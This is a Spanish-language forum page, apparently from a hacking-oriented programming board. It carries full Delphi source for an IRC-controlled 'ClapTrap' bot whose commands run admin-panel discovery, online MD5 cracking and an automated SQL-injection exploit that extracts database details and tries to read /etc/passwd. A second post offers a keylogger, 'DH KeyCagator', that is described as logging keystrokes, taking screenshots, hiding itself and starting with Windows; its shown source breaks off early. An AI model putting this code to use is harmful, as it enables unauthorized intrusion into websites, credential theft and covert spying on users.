Código
  1. // ClapTrap IRC Bot 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit clap;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, sSkinManager, ComCtrls, acProgressBar, StdCtrls,
  11.  sGroupBox, sButton, sLabel;
  12.  
  13. type
  14.  TForm1 = class(TForm)
  15.    sSkinManager1: TsSkinManager;
  16.    Image1: TImage;
  17.    sGroupBox1: TsGroupBox;
  18.    sProgressBar1: TsProgressBar;
  19.    Timer1: TTimer;
  20.    procedure FormCreate(Sender: TObject);
  21.    procedure Timer1Timer(Sender: TObject);
  22.  private
  23.    { Private declarations }
  24.  public
  25.    { Public declarations }
  26.  end;
  27.  
  28. var
  29.  Form1: TForm1;
  30.  
  31. implementation
  32.  
  33. uses menu;
  34. {$R *.dfm}
  35.  
  36. procedure TForm1.FormCreate(Sender: TObject);
  37.  
  38. begin
  39.  
  40.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  41.  sSkinManager1.SkinName := 'cappuccino';
  42.  sSkinManager1.Active := True;
  43.  
  44. end;
  45.  
  46. procedure TForm1.Timer1Timer(Sender: TObject);
  47. var
  48.  i: integer;
  49.  total: integer;
  50.  
  51. begin
  52.  
  53.  total := 0;
  54.  sProgressBar1.Min := 0;
  55.  sProgressBar1.Max := 100;
  56.  
  57.  For i := 1 to 100 do
  58.  begin
  59.  
  60.    Form1.Update;
  61.  
  62.    Sleep(1000);
  63.  
  64.    total := total + 10;
  65.  
  66.    sProgressBar1.Position := total;
  67.  
  68.    if (sProgressBar1.Position = 100) then
  69.    begin
  70.      Timer1.Enabled := False;
  71.      Form1.Hide;
  72.      Form2.Show;
  73.      Abort;
  74.    end;
  75.  end;
  76.  
  77. end;
  78.  
  79. end.
  80.  
  81. // The End ?
  82.  

Menu

Código
  1. // ClapTrap IRC Bot 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit menu;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, sSkinManager, StdCtrls, sButton, sEdit, sLabel, sGroupBox, ComCtrls,
  11.  sStatusBar, acPNG, ExtCtrls, GIFImg, sMemo, IdContext, IdBaseComponent,
  12.  IdComponent, IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegEx,
  13.  IdMultipartFormData, IdHTTP;
  14.  
  15. type
  16.  TForm2 = class(TForm)
  17.    sSkinManager1: TsSkinManager;
  18.    sGroupBox1: TsGroupBox;
  19.    sLabel1: TsLabel;
  20.    sLabel2: TsLabel;
  21.    sLabel3: TsLabel;
  22.    sLabel4: TsLabel;
  23.    sEdit1: TsEdit;
  24.    sEdit2: TsEdit;
  25.    sEdit3: TsEdit;
  26.    sEdit4: TsEdit;
  27.    sButton1: TsButton;
  28.    sButton2: TsButton;
  29.    sStatusBar1: TsStatusBar;
  30.    Image1: TImage;
  31.    sGroupBox2: TsGroupBox;
  32.    sMemo1: TsMemo;
  33.    Image2: TImage;
  34.    PerlRegEx1: TPerlRegEx;
  35.    IdIRC1: TIdIRC;
  36.    PerlRegEx2: TPerlRegEx;
  37.    IdHTTP1: TIdHTTP;
  38.    procedure sButton1Click(Sender: TObject);
  39.    procedure sButton2Click(Sender: TObject);
  40.    procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  41.      AHost, ANicknameTo, AMessage: string);
  42.  
  43.    procedure FormCreate(Sender: TObject);
  44.  
  45.    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  46.  private
  47.    { Private declarations }
  48.  public
  49.    { Public declarations }
  50.  end;
  51.  
  52. var
  53.  Form2: TForm2;
  54.  
  55. implementation
  56.  
  57. {$R *.dfm}
  58.  
  59. procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
  60. begin
  61.  Application.Terminate;
  62. end;
  63.  
  64. procedure TForm2.FormCreate(Sender: TObject);
  65. begin
  66.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  67.  sSkinManager1.SkinName := 'cappuccino';
  68.  sSkinManager1.Active := True;
  69. end;
  70.  
  71. procedure TForm2.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  72.  AHost, ANicknameTo, AMessage: string);
  73.  
  74. var
  75.  rta: string;
  76.  z: integer;
  77.  par: TIdMultiPartFormDataStream;
  78.  target: string;
  79.  
  80. var
  81.  IdHTTP: TIdHTTP;
  82.  i: integer;
  83.  
  84. var
  85.  url: string;
  86.  urldos: string;
  87.  code: string;
  88.  codedos: string;
  89.  pass1: string;
  90.  pass2: string;
  91.  urltest: string;
  92.  urlgen: string;
  93.  
  94. var
  95.  hextest: string;
  96.  web1: string;
  97.  web2: string;
  98.  web3: string;
  99.  full: string;
  100.  
  101. const
  102.  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
  103.    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
  104.    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
  105.    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
  106.    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
  107.    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
  108.    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
  109.    'login/index.asp', 'login/index.aspx', 'login/login.asp',
  110.    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
  111.    'administracion/index.asp', 'administracion/index.aspx',
  112.    'administracion/login.asp', 'administracion/login.aspx',
  113.    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
  114.    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
  115.    'admin/admin.php', 'admin/index.php', 'admin/login.php',
  116.    'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
  117.    'admin/default.php', 'administracion/', 'administracion/index.php',
  118.    'administracion/login.php', 'administracion/ingresar.php',
  119.    'administracion/admin.php', 'administration/', 'administration/index.php',
  120.    'administration/login.php', 'administrator/index.php',
  121.    'administrator/login.php', 'administrator/system.php', 'system/',
  122.    'system/login.php', 'admin.php', 'login.php', 'administrador.php',
  123.    'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
  124.    'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
  125.    'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
  126.    'admin/index.html', 'admin/login.html', 'admin/home.php',
  127.    'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
  128.    'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
  129.    'administrator/index.html', 'administrator/login.html',
  130.    'administrator/account.html', 'administrator/account.php',
  131.    'administrator.html', 'login.html', 'modelsearch/login.php',
  132.    'moderator.php', 'moderator.html', 'moderator/login.php',
  133.    'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
  134.    'moderator/', 'account.php', 'account.html', 'controlpanel/',
  135.    'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
  136.    'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
  137.    'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
  138.    'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
  139.    'administrator/index.asp', 'administrator/login.asp',
  140.    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
  141.    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
  142.    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
  143.    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
  144.    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
  145.    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
  146.    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
  147.    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
  148.    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
  149.    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
  150.    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
  151.    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
  152.    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
  153.    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
  154.    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
  155.    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
  156.    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
  157.    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
  158.    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
  159.    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
  160.    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
  161.    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
  162.    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
  163.    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
  164.    'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
  165.    'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
  166.    'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
  167.    'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
  168.    'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
  169.    'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
  170.    'system_administration/', 'ss_vms_admin_sm/');
  171.  
  172. begin
  173.  if ANicknameFrom = sEdit4.Text then
  174.  begin
  175.  
  176.    // Help
  177.  
  178.    PerlRegEx1.Regex := '!help';
  179.    PerlRegEx1.Subject := AMessage;
  180.  
  181.    if PerlRegEx1.Match then
  182.    begin
  183.      IdIRC1.Say(ANicknameFrom, 'Hi , I am ClapTrap and my commands are :');
  184.      IdIRC1.Say(ANicknameFrom, '!locateip <target>');
  185.      IdIRC1.Say(ANicknameFrom, '!panel <target>');
  186.      IdIRC1.Say(ANicknameFrom, '!sqli <target>');
  187.      IdIRC1.Say(ANicknameFrom, '!crackmd5 <md5>');
  188.      IdIRC1.Say(ANicknameFrom, '!help <?>');
  189.      IdIRC1.Say(ANicknameFrom, 'Good Bye');
  190.    end;
  191.  
  192.    //
  193.  
  194.    // LocateIP
  195.  
  196.    PerlRegEx1.Regex := '!locateip (.*)';
  197.    PerlRegEx1.Subject := AMessage;
  198.  
  199.    if PerlRegEx1.Match then
  200.    begin
  201.  
  202.      sStatusBar1.Panels[0].Text := '[+] LocateIP : Working';
  203.      Form2.sStatusBar1.Update;
  204.  
  205.      sMemo1.Lines.Add('[+] LocateIP : Working');
  206.  
  207.      IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Working');
  208.  
  209.      par := TIdMultiPartFormDataStream.Create;
  210.      par.AddFormField('DOMAINNAME', PerlRegEx1.SubExpressions[1]);
  211.  
  212.      rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);
  213.  
  214.      PerlRegEx2.Regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
  215.      PerlRegEx2.Subject := rta;
  216.  
  217.      if PerlRegEx2.Match then
  218.      begin
  219.        target := PerlRegEx2.SubExpressions[2];
  220.  
  221.        rta := IdHTTP1.Get(
  222.          'http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
  223.            target);
  224.  
  225.        PerlRegEx2.Regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
  226.        PerlRegEx2.Subject := rta;
  227.  
  228.        if PerlRegEx2.Match then
  229.        begin
  230.  
  231.          IdIRC1.Say(ANicknameFrom, '[+] City : ' + PerlRegEx2.SubExpressions[2]
  232.            );
  233.  
  234.        end
  235.        else
  236.        begin
  237.          IdIRC1.Say(ANicknameFrom, '[+] City : Not Found');
  238.        end;
  239.  
  240.        PerlRegEx2.Regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
  241.        PerlRegEx2.Subject := rta;
  242.  
  243.        if PerlRegEx2.Match then
  244.        begin
  245.          IdIRC1.Say(ANicknameFrom, '[+] Country : ' + PerlRegEx2.SubExpressions
  246.              [2]);
  247.  
  248.        end
  249.        else
  250.        begin
  251.          IdIRC1.Say(ANicknameFrom, '[+] Country : Not Found');
  252.        end;
  253.  
  254.        PerlRegEx2.Regex :=
  255.          'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
  256.        PerlRegEx2.Subject := rta;
  257.  
  258.        if PerlRegEx2.Match then
  259.        begin
  260.          IdIRC1.Say(ANicknameFrom, '[+] State : ' + PerlRegEx2.SubExpressions
  261.              [2]);
  262.        end
  263.        else
  264.        begin
  265.          IdIRC1.Say(ANicknameFrom, '[+] State : Not Found');
  266.        end;
  267.  
  268.        //
  269.  
  270.        // Get DNS
  271.  
  272.        rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + target);
  273.  
  274.        PerlRegEx2.Regex := 'whois\/(.*?)\">Whois';
  275.        PerlRegEx2.Subject := rta;
  276.  
  277.        while PerlRegEx2.MatchAgain do
  278.        begin
  279.          for z := 1 to PerlRegEx2.SubExpressionCount do
  280.            IdIRC1.Say(ANicknameFrom,
  281.              '[+] DNS Found : ' + PerlRegEx2.SubExpressions[z]);
  282.        end;
  283.  
  284.      end;
  285.  
  286.      sStatusBar1.Panels[0].Text := '[+] LocateIP : Finished';
  287.      Form2.sStatusBar1.Update;
  288.  
  289.      sMemo1.Lines.Add('[+] LocateIP : Finished');
  290.  
  291.      IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Finished');
  292.  
  293.      //
  294.    end;
  295.  
  296.    //
  297.  
  298.    // PanelFinder
  299.  
  300.    PerlRegEx1.Regex := '!panel (.*)';
  301.    PerlRegEx1.Subject := AMessage;
  302.  
  303.    if PerlRegEx1.Match then
  304.    begin
  305.      //
  306.  
  307.      sStatusBar1.Panels[0].Text := '[+] PanelFinder : Working';
  308.      Form2.sStatusBar1.Update;
  309.  
  310.      IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Working');
  311.  
  312.      sMemo1.Lines.Add('[+] PanelFinder : Working');
  313.  
  314.      try
  315.  
  316.        IdHTTP := TIdHTTP.Create(nil);
  317.  
  318.        for i := Low(paginas) to High(paginas) do
  319.          try
  320.  
  321.            sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
  322.            Form2.sStatusBar1.Update;
  323.  
  324.            IdHTTP.Get(PerlRegEx1.SubExpressions[1] + '/' + paginas[i]);
  325.            if IdHTTP.ResponseCode = 200 then
  326.              IdIRC1.Say(ANicknameFrom,
  327.                '[+] Link Found : ' + PerlRegEx1.SubExpressions[1]
  328.                  + '/' + paginas[i]);
  329.          except
  330.            on E: EIdHttpProtocolException do
  331.              ;
  332.            on E: Exception do
  333.              ;
  334.          end;
  335.      finally
  336.        IdHTTP.Free;
  337.      end;
  338.  
  339.      sStatusBar1.Panels[0].Text := '[+] PanelFinder : Finished';
  340.      Form2.sStatusBar1.Update;
  341.  
  342.      IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Finished');
  343.  
  344.      sMemo1.Lines.Add('[+] PanelFinder : Finished');
  345.  
  346.      //
  347.    end;
  348.  
  349.    //
  350.  
  351.    // Crack MD5
  352.  
  353.    PerlRegEx1.Regex := '!crackmd5 (.*)';
  354.    PerlRegEx1.Subject := AMessage;
  355.  
  356.    if PerlRegEx1.Match then
  357.    begin
  358.  
  359.      sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Working';
  360.      Form2.sStatusBar1.Update;
  361.  
  362.      sMemo1.Lines.Add('[+] CrackMD5 : Working');
  363.  
  364.      IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Working');
  365.  
  366.      sStatusBar1.Panels[0].Text := '[+] Searching in md5.hashcracking.com ...';
  367.      Form2.sStatusBar1.Update;
  368.  
  369.      rta := IdHTTP1.Get('http://md5.hashcracking.com/search.php?md5=' +
  370.          PerlRegEx1.SubExpressions[1]);
  371.  
  372.      PerlRegEx2.Regex := 'Cleartext of (.*) is (.*)';
  373.      PerlRegEx2.Subject := rta;
  374.      if PerlRegEx2.Match then
  375.      begin
  376.        IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
  377.            + ':' + PerlRegEx2.SubExpressions[2]);
  378.      end
  379.      else
  380.      begin
  381.  
  382.        rta := IdHTTP1.Get('http://md5.rednoize.com/?q=' +
  383.            PerlRegEx1.SubExpressions[1]);
  384.  
  385.        PerlRegEx2.Regex := '<div id=\"result\" >(.*)<\/div>';
  386.        PerlRegEx2.Subject := rta;
  387.  
  388.        if PerlRegEx2.Match then
  389.  
  390.        begin
  391.  
  392.          if not(Length(PerlRegEx2.SubExpressions[1]) = 32) then
  393.          begin
  394.            IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
  395.                + ':' + PerlRegEx2.SubExpressions[1]);
  396.          end
  397.          else
  398.  
  399.          begin
  400.  
  401.            sStatusBar1.Panels[0].Text :=
  402.              '[+] Searching in md52.altervista.org ...';
  403.            Form2.sStatusBar1.Update;
  404.  
  405.            rta := IdHTTP1.Get
  406.              ('http://md52.altervista.org/index.php?md5=' +
  407.                PerlRegEx1.SubExpressions[1]);
  408.  
  409.            PerlRegEx2.Regex :=
  410.              '<br>Password: <font color=\"Red\">(.*)<\/font><\/b>';
  411.            PerlRegEx2.Subject := rta;
  412.  
  413.            if PerlRegEx2.Match then
  414.            begin
  415.              IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
  416.                  + ':' + PerlRegEx2.SubExpressions[1]);
  417.            end
  418.            else
  419.            begin
  420.              IdIRC1.Say(ANicknameFrom, '[-] Hash not cracked');
  421.            end;
  422.          end;
  423.  
  424.        end;
  425.      end;
  426.  
  427.      sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Finished';
  428.      Form2.sStatusBar1.Update;
  429.  
  430.      sMemo1.Lines.Add('[+] CrackMD5 : Finished');
  431.  
  432.      IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Finished');
  433.  
  434.    end;
  435.  
  436.    //
  437.  
  438.    // SQLI Scanner
  439.  
  440.    PerlRegEx1.Regex := '!sqli (.*)';
  441.    PerlRegEx1.Subject := AMessage;
  442.  
  443.    if PerlRegEx1.Match then
  444.  
  445.    begin
  446.  
  447.      sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Working';
  448.      Form2.sStatusBar1.Update;
  449.  
  450.      sMemo1.Lines.Add('[+] SQLI Scanner : Working');
  451.  
  452.      IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Working');
  453.  
  454.      pass1 := '+';
  455.      pass2 := '--';
  456.  
  457.      urltest := 'concat(0x4b30425241,1,0x4b30425241)';
  458.  
  459.      sStatusBar1.Panels[0].Text := '[+] Checking ...';
  460.      Form2.sStatusBar1.Update;
  461.  
  462.      IdIRC1.Say(ANicknameFrom, '[+] Checking ...');
  463.  
  464.      code := IdHTTP1.Get
  465.        (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=1' +
  466.          pass2);
  467.  
  468.      codedos := IdHTTP1.Get
  469.        (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=0' +
  470.          pass2);
  471.  
  472.      if not(code = codedos) then
  473.      begin
  474.  
  475.        IdIRC1.Say(ANicknameFrom, '[+] Vulnerable !');
  476.  
  477.        sStatusBar1.Panels[0].Text := '[+] Finding columns number';
  478.        Form2.sStatusBar1.Update;
  479.  
  480.        IdIRC1.Say(ANicknameFrom, '[+] Finding columns number');
  481.  
  482.        urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' +
  483.          pass1 + 'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
  484.        urlgen := '1';
  485.        for i := 2 to 36 do
  486.        begin
  487.          sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
  488.          Form2.sStatusBar1.Update;
  489.          urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
  490.            + ',0x4b30425241)';
  491.          urlgen := urlgen + ',' + IntToStr(i);
  492.          code := IdHTTP1.Get(PerlRegEx1.SubExpressions[1] + urltest + pass2);
  493.          PerlRegEx2.Regex := 'K0BRA(.*?)K0BRA';
  494.          PerlRegEx2.Subject := code;
  495.  
  496.          if PerlRegEx2.Match then
  497.          begin
  498.  
  499.            IdIRC1.Say(ANicknameFrom, '[+] Columns Length : ' + IntToStr(i));
  500.            IdIRC1.Say(ANicknameFrom,
  501.              '[+] The number ' + PerlRegEx2.SubExpressions[1] + ' show data');
  502.  
  503.            urlgen := StringReplace(urlgen, PerlRegEx2.SubExpressions[1],
  504.              'hackman', []);
  505.            full := PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' +
  506.              pass1 + '1=0' + pass1 + 'union' + pass1 + 'select' + pass1 +
  507.              urlgen;
  508.  
  509.            IdIRC1.Say(ANicknameFrom, '[+] Link : ' + full);
  510.  
  511.            //
  512.  
  513.            pass1 := '+';
  514.            pass2 := '--';
  515.  
  516.            hextest := '0x2f6574632f706173737764'; // /etc/passwd
  517.            hextest := '0x633A2F78616D70702F726561642E747874';
  518.            // #c:/xampp/read.txt
  519.  
  520.            web1 := StringReplace(full, 'hackman', '0x4b30425241', []);
  521.            web2 := StringReplace(full, 'hackman',
  522.              'concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)', []);
  523.            web3 := StringReplace(full, 'hackman',
  524.              'unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(' +
  525.                hextest + '))))', []);
  526.  
  527.            sStatusBar1.Panels[0].Text := '[+] Getting more data ...';
  528.            Form2.sStatusBar1.Update;
  529.  
  530.            code := IdHTTP1.Get
  531.              (web1 + pass1 + 'from' + pass1 + 'mysql.user' + pass2);
  532.            PerlRegEx2.Regex := 'K0BRA';
  533.            PerlRegEx2.Subject := code;
  534.            if PerlRegEx2.Match then
  535.            begin
  536.              IdIRC1.Say(ANicknameFrom, '[+] mysqluser : ON');
  537.            end
  538.            else
  539.            begin
  540.              IdIRC1.Say(ANicknameFrom, '[+] mysqluser : OFF');
  541.            end;
  542.  
  543.            code := IdHTTP1.Get(web1 + pass1 + 'from' + pass1 +
  544.                'information_schema.tables' + pass2);
  545.            PerlRegEx2.Regex := 'K0BRA';
  546.            PerlRegEx2.Subject := code;
  547.            if PerlRegEx2.Match then
  548.            begin
  549.  
  550.              IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : ON');
  551.            end
  552.            else
  553.            begin
  554.              IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : OFF');
  555.            end;
  556.  
  557.            code := IdHTTP1.Get(web3);
  558.            PerlRegEx2.Regex := 'K0BRA';
  559.            PerlRegEx2.Subject := code;
  560.            if PerlRegEx2.Match then
  561.            begin
  562.              IdIRC1.Say(ANicknameFrom, '[+] load_file : ON');
  563.            end
  564.            else
  565.            begin
  566.              IdIRC1.Say(ANicknameFrom, '[+] load_file : OFF');
  567.            end;
  568.  
  569.            sStatusBar1.Panels[0].Text := '[+] Getting DB details ...';
  570.            Form2.sStatusBar1.Update;
  571.  
  572.            code := IdHTTP1.Get(web2);
  573.  
  574.            PerlRegEx2.Regex := 'K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA';
  575.            PerlRegEx2.Subject := code;
  576.            if PerlRegEx2.Match then
  577.            begin
  578.  
  579.              IdIRC1.Say(ANicknameFrom,
  580.                '[+] User : ' + PerlRegEx2.SubExpressions[1]);
  581.              IdIRC1.Say(ANicknameFrom,
  582.                '[+] Database : ' + PerlRegEx2.SubExpressions[2]);
  583.              IdIRC1.Say(ANicknameFrom,
  584.                '[+] Version : ' + PerlRegEx2.SubExpressions[3]);
  585.  
  586.              sStatusBar1.Panels[0].Text := '[+] Done';
  587.              Form2.sStatusBar1.Update;
  588.            end
  589.            else
  590.            begin
  591.              IdIRC1.Say(ANicknameFrom, '[-] DB details not found');
  592.              sStatusBar1.Panels[0].Text := '[-] DB details not found';
  593.              Form2.sStatusBar1.Update;
  594.            end;
  595.  
  596.  
  597.            //
  598.  
  599.            sStatusBar1.Panels[0].Text := '[+] Done';
  600.            Form2.sStatusBar1.Update;
  601.  
  602.            IdIRC1.Say(ANicknameFrom, '[+] Done');
  603.  
  604.            sMemo1.Lines.Add('[+] SQLI Scanner : Finished');
  605.  
  606.            sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
  607.            Form2.sStatusBar1.Update;
  608.  
  609.            IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');
  610.  
  611.            abort;
  612.          end
  613.        end;
  614.        sStatusBar1.Panels[0].Text := '[-] Columns Length not found';
  615.        Form2.sStatusBar1.Update;
  616.        IdIRC1.Say(ANicknameFrom, '[-] Columns Length not found');
  617.      end
  618.      else
  619.      begin
  620.        sStatusBar1.Panels[0].Text := '[-] Not vulnerable';
  621.        Form2.sStatusBar1.Update;
  622.        IdIRC1.Say(ANicknameFrom, '[-] Not vulnerable');
  623.      end;
  624.  
  625.      sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
  626.      Form2.sStatusBar1.Update;
  627.  
  628.      IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');
  629.  
  630.      sMemo1.Lines.Add('[+] SQLI Scanner : Finished');
  631.  
  632.    end;
  633.  
  634.  end;
  635. end;
  636.  
  637. procedure TForm2.sButton1Click(Sender: TObject);
  638. var
  639.  nick: string;
  640. begin
  641.  
  642.  nick := 'ClapTrap';
  643.  
  644.  IdIRC1.Host := sEdit1.Text;
  645.  IdIRC1.Port := StrToInt(sEdit2.Text);
  646.  IdIRC1.Nickname := nick;
  647.  IdIRC1.Username := nick + ' 1 1 1 1';
  648.  IdIRC1.AltNickname := nick + '-l33t';
  649.  
  650.  try
  651.  
  652.    IdIRC1.Connect;
  653.    IdIRC1.Join(sEdit3.Text);
  654.  
  655.    sStatusBar1.Panels[0].Text := '[+] Connected';
  656.    Form2.sStatusBar1.Update;
  657.  
  658.  except
  659.    sStatusBar1.Panels[0].Text := '[-] Error';
  660.    Form2.sStatusBar1.Update;
  661.  end;
  662.  
  663. end;
  664.  
  665. procedure TForm2.sButton2Click(Sender: TObject);
  666. begin
  667.  
  668.  IdIRC1.Part(sEdit3.Text);
  669.  IdIRC1.Disconnect();
  670.  
  671.  sStatusBar1.Panels[0].Text := '[+] OffLine';
  672.  Form2.sStatusBar1.Update;
  673.  
  674. end;
  675.  
  676. end.
  677.  
  678. // The End ?
  679.  

En honor a ClapTrap el robot gracioso de BorderLands xDD.

Si lo quieren bajar lo pueden hacer de aca.
180  Programación / Programación General / [Delphi] DH KeyCagator 0.2 en: 8 Noviembre 2013, 16:42 pm
Un simple keylogger en delphi , en esta version se podria decir que es un "prototipo" ya que en la proxima version de este keylogger me concentrare en ciertos detalles.

El keylogger tiene las siguientes funciones :

  • Captura teclas reconociendo mayusculas y minusculas
  • Captura el nombre de la ventana actual
  • Captura un screenshot del escritorio cada 1 hora
  • Guarda todos los registros en un archivo HTML "ordenado"
  • Oculta todos los archivos relacionados con el keylogger
  • Se mueve y oculta en una carpeta de Windows
  • Se carga cada vez que inicia Windows

* Usen shift+F9 para abrir el panel de control.

Unas imagenes :





El codigo :

Código
  1. // DH Keycagator 0.2
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dhkey;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, StdCtrls, Registry;
  11.  
  12. type
  13.  TForm1 = class(TForm)
  14.    Image1: TImage;
  15.    GroupBox1: TGroupBox;
  16.    Edit1: TEdit;
  17.    Button1: TButton;
  18.    Timer1: TTimer;
  19.    procedure Button1Click(Sender: TObject);
  20.    procedure Timer1Timer(Sender: TObject);
  21.    procedure FormCreate(Sender: TObject);
  22.    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  23.  private
  24.    { Private declarations }
  25.  public
  26.    { Public declarations }
  27.  end;
  28.  
  29. var
  30.  Form1: TForm1;
  31.  
  32. implementation
  33.  
  34. uses dhmain;
  35. {$R *.dfm}
  36.  
  37. procedure savefile(filename, texto: string);
  38. var
  39.  ar: TextFile;
  40.  
  41. begin
  42.  
  43.  AssignFile(ar, filename);
  44.  FileMode := fmOpenWrite;
  45.  
  46.  if FileExists(filename) then
  47.    Append(ar)
  48.  else
  49.    Rewrite(ar);
  50.  
  51.  Write(ar, texto);
  52.  CloseFile(ar);
  53.  
  54. end;
  55.  
  56. procedure TForm1.Button1Click(Sender: TObject);
  57. var
  58.  password: string;
  59. begin
  60.  
  61.  password := '123'; // Edit the password
  62.  
  63.  if (Edit1.Text = password) then
  64.  begin
  65.    Form1.Hide;
  66.    Form2.Show;
  67.  end
  68.  else
  69.  begin
  70.    ShowMessage('Fuck You');
  71.  end;
  72.  
  73. end;
  74.  
